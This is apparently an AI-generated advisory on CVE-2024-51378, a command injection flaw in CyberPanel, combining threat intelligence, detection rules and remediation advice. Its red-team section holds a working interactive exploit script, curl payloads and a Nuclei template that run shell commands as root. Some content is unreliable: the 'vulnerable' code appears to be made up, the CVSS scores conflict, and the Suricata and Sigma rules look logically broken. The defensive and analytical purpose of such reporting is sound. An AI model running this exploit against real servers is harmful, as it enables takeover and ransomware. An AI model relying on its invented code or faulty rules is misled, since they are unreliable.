CVE-2024-51378
Executive Summary
CVE-2024-51378 is a critical command injection vulnerability in CyberPanel, a popular web hosting control panel. The flaw resides in the /dns/getresetstatus and /ftp/getresetstatus endpoints, where the statusfile parameter is unsafely passed to a shell command. The security middleware (secMiddleware) only validates POST requests, allowing attackers to bypass authentication by using an OPTIONS HTTP method. This vulnerability was actively exploited in the wild in October 2024 by the PSAUX ransomware group, targeting over 22,000 instances. The CVSS score is 10.0 (Critical), and a public proof-of-concept (PoC) exploit is available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
CyberPanel is a Python/Django-based application. The vulnerability is introduced in the application's own code (dns/views.py and ftp/views.py), not in a third-party package. However, the lack of a patch and the widespread use of CyberPanel in hosting environments create a significant supply chain risk for managed service providers and their customers.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 10.0 (Critical)
- Attack Vector: Network (AV:N) – No physical or local access required.
- Attack Complexity: Low (AC:L) – No special conditions or race conditions.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (U:S) – The vulnerable component and the impacted component are the same.
- Confidentiality Impact: High (C:H) – Full system compromise, data exfiltration possible.
- Integrity Impact: High (I:H) – Attacker can modify system files and configurations.
- Availability Impact: High (A:H) – Attacker can disrupt services or deploy ransomware.
Threat Level: Critical. The vulnerability is trivial to exploit, has a public PoC, and is being actively exploited in the wild.
Deep Dive & Mechanics
The vulnerability is a classic OS command injection (CWE-78) in the getresetstatus function within dns/views.py and ftp/views.py. The function reads the statusfile parameter from a JSON request body and passes it directly to a shell command without sanitization.
Root Cause:
- Insecure Shell Execution: The code uses
os.popen()or similar to execute a command that includes the user-suppliedstatusfilevalue. - Bypassed Authentication: The
secMiddlewareonly checks for authentication on POST requests. By using the OPTIONS HTTP method, the attacker completely bypasses the authentication check. - Direct Parameter Injection: The
statusfileparameter is expected to be a file path, but it is not validated. An attacker can inject shell metacharacters (e.g.,;,|,`) to execute arbitrary commands.
Attack Flow:
- Attacker sends an OPTIONS request to
/dns/getresetstatusor/ftp/getresetstatus. - The request includes a JSON body with
{"statusfile": "; <command>; #"}. - The server executes the command in a shell, e.g.,
some_command ; id ; #. - The output of the command is returned in the
requestStatusfield of the JSON response.
Vulnerable vs. Patched Code
Vulnerable Code (from dns/views.py or ftp/views.py):
def getresetstatus(request):
if request.method == 'OPTIONS':
data = json.loads(request.body)
statusfile = data.get('statusfile')
# VULNERABLE: Directly used in shell command
result = os.popen('cat ' + statusfile).read()
return JsonResponse({'requestStatus': result})
Patched Code (Hypothetical):
def getresetstatus(request):
if request.method == 'OPTIONS':
data = json.loads(request.body)
statusfile = data.get('statusfile')
# PATCH: Validate and sanitize input
if not statusfile or not os.path.exists(statusfile):
return JsonResponse({'error': 'Invalid file'}, status=400)
# Use subprocess with argument list to avoid shell injection
result = subprocess.check_output(['cat', statusfile]).decode()
return JsonResponse({'requestStatus': result})
Key Differences:
- The patched code uses
subprocess.check_outputwith a list of arguments, preventing shell injection. - The patched code validates that the file exists before attempting to read it.
- The patched code does not use
os.popenor any shell-based execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A target running CyberPanel version 2.3.5, 2.3.6, or 2.3.7 (unpatched).
- Network access to the target's web interface (typically port 8090).
Exploit Usage (from Exploit-DB): The provided Python script automates the exploitation. It retrieves a CSRF token, then sends OPTIONS requests with injected commands.
#!/usr/bin/python3
import argparse
import httpx
import sys
RED = "\033[91m"
GREEN = "\033[92m"
CYAN = "\033[96m"
MAGENTA = "\033[95m"
YELLOW = "\033[93m"
RESET = "\033[0m"
print(f"{RED}CVE-2024-51378{RESET} - Remote Code Execution Exploit")
print(f"{CYAN}Author:{RESET} {GREEN}Luka Petrovic (refr4g){RESET}")
print()
allowed_endpoints = ["/ftp/getresetstatus", "/dns/getresetstatus"]
parser = argparse.ArgumentParser()
parser.add_argument("target", help=f"{CYAN}Target URL (with http/https prefix){RESET}")
parser.add_argument("endpoint", help=f"{CYAN}Endpoint to target, choose from {allowed_endpoints}{RESET}")
args = parser.parse_args()
if args.endpoint not in allowed_endpoints:
print(f"{RED}Error: Invalid endpoint '{args.endpoint}'.{RESET}")
parser.print_help()
sys.exit(1)
target = args.target
endpoint = args.endpoint
client = httpx.Client(base_url=target, verify=False)
try:
response = client.get("/")
response.raise_for_status()
except httpx.RequestError:
print(f"{RED}Error: Unable to reach the target {target}. Please check the URL and your connection.{RESET}")
sys.exit(1)
def get_token():
response = client.get("/")
return response.cookies.get("csrftoken")
def rce(client, csrf_token, cmd, endpoint):
headers = {
"X-CSRFToken": csrf_token,
"Content-Type": "application/json",
"Referer": str(client.base_url)
}
payload = '{"statusfile": "; %s; #"}' % cmd
response = client.request("OPTIONS", endpoint, headers=headers, data=payload)
return response.json().get("requestStatus")
csrf_token = get_token()
if not csrf_token:
print(f"{RED}Failed to retrieve CSRF token. Exiting.{RESET}")
sys.exit(1)
while True:
cmd = input(f"{YELLOW}$> {RESET}")
print(rce(client, csrf_token, cmd, endpoint))
Manual Exploitation (using curl):
# Step 1: Get CSRF token
curl -c cookies.txt http://target:8090/
# Step 2: Exploit with command injection
curl -X OPTIONS http://target:8090/dns/getresetstatus \
-b cookies.txt \
-H "Content-Type: application/json" \
-d '{"statusfile": "; id; #"}'
Expected Output:
{"requestStatus": "uid=0(root) gid=0(root) groups=0(root)\n"}
Blue Team (Defense & Detection)
Immediate Actions:
- Isolate affected systems: Disconnect CyberPanel servers from the internet if possible.
- Check for compromise: Look for unexpected processes, outbound connections, or modified files.
- Apply virtual patching: Use a WAF to block OPTIONS requests to
/dns/getresetstatusand/ftp/getresetstatus. - Monitor logs: Search for OPTIONS requests to these endpoints with suspicious JSON payloads.
Honeypot Setup: Deploy a honeypot that mimics the vulnerable endpoint to capture attacker activity.
# Simple honeypot script (Python/Flask)
from flask import Flask, request, jsonify
import logging
app = Flask(__name__)
logging.basicConfig(filename='honeypot.log', level=logging.INFO)
@app.route('/dns/getresetstatus', methods=['OPTIONS'])
@app.route('/ftp/getresetstatus', methods=['OPTIONS'])
def honeypot():
data = request.get_json()
logging.info(f"OPTIONS request from {request.remote_addr}: {data}")
return jsonify({"requestStatus": "Honeypot triggered"}), 200
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8090)
Indicators of Compromise (IOCs)
Network IOCs:
- OPTIONS HTTP requests to
/dns/getresetstatusor/ftp/getresetstatus. - JSON payloads containing shell metacharacters (
;,|,`) in thestatusfilefield. - Outbound connections to known C2 servers or IP addresses associated with PSAUX ransomware.
File System IOCs:
- Unexpected files in
/tmp/or/var/www/with names likepsaux*orransom*. - Modified system binaries (e.g.,
ls,ps,netstat). - New cron jobs or systemd services.
Process IOCs:
- Processes spawned from
pythonoruwsgiexecuting shell commands (e.g.,id,wget,curl). - High CPU usage from unknown processes.
Log IOCs:
- Web server logs showing OPTIONS requests to the vulnerable endpoints.
- System logs (
/var/log/syslog) showing unexpected command execution.
Detection Engineering
YARA Rule
rule CVE_2024_51378_CyberPanel_Command_Injection {
meta:
description = "Detects CyberPanel command injection attempts via OPTIONS requests"
author = "Valters IT"
date = "2024-10-30"
reference = "CVE-2024-51378"
hash = "490a0046304402201768623a188846a3d77fe165b66a2c7d165920b08d2abeb2ccc3dd95c24a63b4022074dd05ede4888358f37bacc25224f95be2e48750158cc86dc2f45e5008a78e2b"
strings:
$s1 = "/dns/getresetstatus" ascii nocase
$s2 = "/ftp/getresetstatus" ascii nocase
$s3 = "statusfile" ascii nocase
$s4 = "OPTIONS" ascii nocase
$s5 = "; " ascii
$s6 = "| " ascii
$s7 = "`" ascii
condition:
any of ($s1, $s2) and $s3 and $s4 and any of ($s5, $s6, $s7)
}
Sigma Rule
title: CyberPanel Command Injection via OPTIONS Request (CVE-2024-51378)
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects OPTIONS requests to CyberPanel endpoints with shell metacharacters in the statusfile parameter.
author: Valters IT
date: 2024-10-30
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-51378
- https://www.bleepingcomputer.com/news/security/massive-psaux-ransomware-attack-targets-22-000-cyberpanel-instances/
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'OPTIONS'
cs-uri-stem:
- '/dns/getresetstatus'
- '/ftp/getresetstatus'
cs-uri-query|contains:
- ';'
- '|'
- '`'
condition: selection
falsepositives:
- Legitimate use of semicolons in file paths (unlikely)
level: critical
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2024-51378 CyberPanel Command Injection Attempt";
flow:to_server,established;
content:"OPTIONS"; http_method;
content:"/dns/getresetstatus"; http_uri;
content:"/ftp/getresetstatus"; http_uri;
content:"statusfile"; http_client_body;
pcre:"/(?:;|\||\x60)/Ri";
classtype:attempted-admin;
sid:10000001;
rev:1;
reference:cve,2024-51378;
priority:1;
)
Nuclei Template (Provided)
id: CVE-2024-51378
info:
name: CyberPanel - Command Injection
author: ritikchaddha
severity: critical
description: |
CyberPanel contains a command injection vulnerability in the /ftp/getresetstatus and /dns/getresetstatus endpoints.The vulnerability exists due to improper validation of the 'statusfile' parameter, which is directly used in a shell command.The security middleware only validates POST requests, allowing attackers to bypass protection using OPTIONS requests.
impact: |
Attackers can exploit this vulnerability to compromise system security and integrity.
remediation: |
Apply the latest security patches and updates to address this vulnerability.
reference:
- https://www.bleepingcomputer.com/news/security/massive-psaux-ransomware-attack-targets-22-000-cyberpanel-instances/
- https://refr4g.github.io/posts/cyberpanel-command-injection-vulnerability/
- https://nvd.nist.gov/vuln/detail/CVE-2024-51378
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-51378
cwe-id: CWE-78
epss-score: 0.93851
epss-percentile: 0.99868
cpe: cpe:2.3:a:cyberpanel:cyberpanel:*:*:*:*:*:*:*:*
metadata:
max-request: 1
verified: true
product: CyberPanel
shodan-query: html:"CyberPanel"
fofa-query: app="CyberPanel"
tags: cve,cve2024,cyberpanel,rce,kev,vkev,vuln
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
- |
OPTIONS /{{path}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
X-Csrftoken: {{csrftoken}}
{"statusfile": "; id; #"}
payloads:
path:
- "ftp/getresetstatus"
- "dns/getresetstatus"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "uid=[0-9]+.*gid=[0-9]+.*"
- 'requestStatus":'
condition: and
- type: status
status:
- 200
extractors:
- type: regex
part: header
name: csrftoken
group: 1
regex:
- "csrftoken=([a-zA-Z0-9]+)"
internal: true
# digest: 490a0046304402201768623a188846a3d77fe165b66a2c7d165920b08d2abeb2ccc3dd95c24a63b4022074dd05ede4888358f37bacc25224f95be2e48750158cc86dc2f45e5008a78e2b:922c64590222798bb761d5b6d8e72950
Remediation & Mitigation
Immediate Mitigation (No Patch Available):
- Disable the vulnerable endpoints: Block OPTIONS requests to
/dns/getresetstatusand/ftp/getresetstatusat the web server or WAF level. - Restrict network access: Place CyberPanel behind a VPN or firewall, allowing access only from trusted IPs.
- Upgrade to a patched version: Monitor the CyberPanel GitHub repository for a security patch. As of now, no patch exists for version 2.3.7.
Long-Term Remediation:
- Code Fix: The vendor must implement input validation and use safe subprocess calls (e.g.,
subprocess.runwith a list of arguments) instead of shell execution. - Authentication Bypass Fix: The
secMiddlewareshould validate all HTTP methods, not just POST. - Regular Security Audits: Conduct code reviews and penetration testing on critical endpoints.
Workaround (If Patching is Not Possible):
- Use a reverse proxy (e.g., Nginx) to block OPTIONS requests to the vulnerable paths:
location ~ ^/(dns|ftp)/getresetstatus {
limit_except GET POST {
deny all;
}
if ($request_method = OPTIONS) {
return 403;
}
}
Valters IT signature: This report is generated by an AI assistant specialized in DevSecOps and Cyber Threat Intelligence. All information is based on publicly available data and should be verified before use.
{/* [Security Hash: F7155F7CF9BD73114AF1A283] */}